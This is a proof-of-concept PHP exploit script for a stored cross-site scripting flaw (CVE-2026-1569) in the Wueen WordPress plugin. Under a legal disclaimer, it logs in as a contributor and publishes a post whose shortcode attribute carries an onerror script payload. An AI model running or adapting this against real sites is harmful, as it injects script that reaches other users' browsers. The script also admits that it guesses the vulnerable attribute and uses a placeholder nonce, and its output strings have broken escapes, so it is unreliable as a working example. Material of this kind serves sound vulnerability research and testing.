CVE-2026-1569: Wueen <= 0.2.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's Shortcode (wueen)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1569 - Wueen <= 0.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's Shortcode
<?php

/**
 * Proof of Concept for CVE-2026-1569.
 * Assumptions based on metadata:
 * 1. The plugin registers a shortcode 'wueen-blocket'.
 * 2. The shortcode handler does not properly escape user-supplied attributes.
 * 3. An attacker with contributor+ access can create/edit posts.
 * This script simulates an authenticated POST request to create a post containing a malicious shortcode.
 */

$target_url = 'http://target-site.com'; // CONFIGURE THIS
$username = 'contributor'; // CONFIGURE THIS - user with contributor role or higher
$password = 'password'; // CONFIGURE THIS

// Payload: XSS via a shortcode attribute. The exact attribute name is inferred.
// Common vulnerable patterns include 'title', 'id', 'content', or custom attributes.
$malicious_shortcode = '[wueen-blocket title="<img src=x onerror=alert(document.cookie)>"]';

// Step 1: Authenticate to WordPress and obtain a nonce for post creation.
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Initialize cURL session for cookie persistence.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Perform login.
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Step 2: Fetch a nonce for the 'post' action. In WordPress, nonces are often available via admin-ajax or inline scripts.
// This is a simulated step; actual implementation would parse the admin page for a nonce.
// For this PoC, we assume the nonce is retrieved. In a real scenario, use a proper HTML parser.
$nonce = 'retrieved_nonce'; // Placeholder. In practice, extract from /wp-admin/post-new.php.

// Step 3: Create a new post with the malicious shortcode.
$create_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_data = [
    'post_title' => 'Test Post with XSS',
    'content' => $malicious_shortcode,
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce, // Nonce is required for publisher-level actions.
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => 2 // Assumed user ID. In practice, parse from session.
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check for success (simplified).
if (strpos($response, 'Post published') !== false || strpos($response, 'View post') !== false) {
    echo "[+] Post created successfully with malicious shortcode.n";
    echo "[+] Visit the post to trigger the XSS payload.n";
} else {
    echo "[-] Post creation may have failed. Check authentication and nonce.n";
}

curl_close($ch);

?>